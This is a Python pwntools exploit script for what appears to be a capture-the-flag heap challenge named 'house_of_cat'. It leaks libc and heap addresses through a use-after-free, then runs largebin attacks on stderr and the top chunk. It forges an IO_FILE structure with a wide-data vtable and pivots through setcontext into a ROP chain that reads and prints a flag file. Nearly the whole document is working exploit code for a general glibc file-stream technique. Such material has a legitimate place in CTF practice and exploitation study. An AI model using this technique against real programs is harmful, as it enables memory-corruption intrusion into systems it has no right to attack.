from pwn import * from LibcSearcher import * from pwncli import ShellcodeMall context.terminal = ['tmux', 'split', '-h'] # context.log_level = 'debug' context.os = 'linux' context.arch = 'amd64' binary = './house_of_cat' ip = '' port = 0 gs = ''' b _IO_switch_to_wget_mode c ''' sh = process(binary) # sh = remote(ip, port) elf = ELF(binary) libc = elf.libc # libc = ELF('./libc.so.6') ru = lambda x,drop = False : sh.recvuntil(x, drop) sn = lambda x : sh.send(x) rl = lambda : sh.recvline() sl = lambda x : sh.sendline(x) rv = lambda x : sh.recv(x) sa = lambda a,b : sh.sendafter(a,b) sla = lambda a,b : sh.sendlineafter(a,b) def int2bytes(num): return str(num).encode('utf-8') def malloc(idx, size, content): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n',int2bytes(1)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sla(b'plz input your cat size:\n',int2bytes(size)) sa(b'plz input your content:\n',content) def edit(idx, content): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(4)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sa(b'plz input your content:\n', content) def free(idx): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(2)) sla(b'plz input your cat idx:\n',int2bytes(idx)) def show(idx): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(3)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sa(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin') malloc(0, 0x418, b'aaaa') malloc(1, 0x428, b'flag') malloc(2, 0x428, b'cccc') malloc(3, 0x418, b'dddd') free(0) free(2) show(0) rl() libc_base = u64(rv(8)) - 0x219ce0 heap_base = u64(rv(8)) - 0xae0 log.success('libc_base ==> ' + hex(libc_base)) log.success('heap_base ==> ' + hex(heap_base)) pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f497 pop_rcx = libc_base + 0x8c6bb ret = libc_base + 0x29cd6 pop_rax = libc_base + 0x45eb0 close_addr = libc_base + libc.sym['close'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] flag_addr = heap_base + 0x6c0 stderr_addr = libc_base + 0x21a860 top_chunk = heap_base + 0x31b0 io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] vtable = io_wfile_jumps + 0x10 setcontext = libc_base + libc.sym['setcontext'] close=libc_base + libc.sym['close'] read=libc_base + libc.sym['read'] write=libc_base + libc.sym['write'] syscallret=libc_base + next(libc.search(asm('syscall\nret'))) log.success('io_wfile_jumps ==> ' + hex(io_wfile_jumps)) _wide_data = heap_base + 0x1340 rdx = _wide_data + 0x100 rax2 = heap_base + 0x1780 rop11 = rdx + 0xb0 io_file = b'' io_file = io_file.ljust(0x30, b'\x00') io_file = io_file.ljust(0x88, b'\x00') io_file += p64(heap_base + 0x6c0 + 0x100) io_file = io_file.ljust(0xa0, b'\x00') io_file += p64(_wide_data) io_file = io_file.ljust(0xd8, b'\x00') io_file += p64(vtable) malloc(4, 0x418, io_file[0x10:]) # IO_FILE pay = b'ppp' pay = pay.ljust(0x20, b'\x00') pay += p64(rdx) pay = pay.ljust(0xe0, b'\x00') pay += p64(rax2) pay = pay.ljust(0x100, b'\x00') # =======rdx======= pay += b'\x00' * 0xa0 pay += p64(rop11) pay += p64(ret) # ========rop========= pay += p64(pop_rdi) pay += p64(0) pay += p64(close_addr) pay += p64(pop_rdi) pay += p64(flag_addr) pay += p64(pop_rsi) pay += p64(0) pay += p64(pop_rax) pay += p64(2) pay += p64(syscallret) pay += p64(pop_rdi) pay += p64(0) pay += p64(pop_rsi) pay += p64(flag_addr) pay += p64(pop_rdx_r12) pay += p64(0x50) pay += p64(0) pay += p64(read_addr) pay += p64(pop_rdi) pay += p64(1) pay += p64(write_addr) malloc(5, 0x438, pay) # heapbase + 0x1340 edit(2, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0xae0) + p64(stderr_addr - 0x20)) free(4) malloc(6, 0x438, b'\x00' * 0x18 + p64(setcontext + 61)) # rax2 malloc(7, 0x458, b'hhhh') malloc(8, 0x468, b'a') malloc(9, 0x448, b'jjjj') malloc(10, 0x468, b'a') free(7) malloc(11, 0x468, b'kkkk') edit(7, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1bb0) + p64(top_chunk - 0x20 + 3)) free(9) gdb.attach(sh, gs) # pause() sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n',int2bytes(1)) sla(b'plz input your cat idx:\n',int2bytes(12)) sla(b'plz input your cat size:\n',int2bytes(0x468)) sh.interactive() ''' 0x000000000002a3e5: pop rdi; ret; 0x000000000002be51: pop rsi; ret; 0x000000000011f497: pop rdx; pop r12; ret; 0x000000000008c6bb: pop rcx; ret; 0x0000000000029cd6: ret; 0x0000000000045eb0: pop rax; ret; '''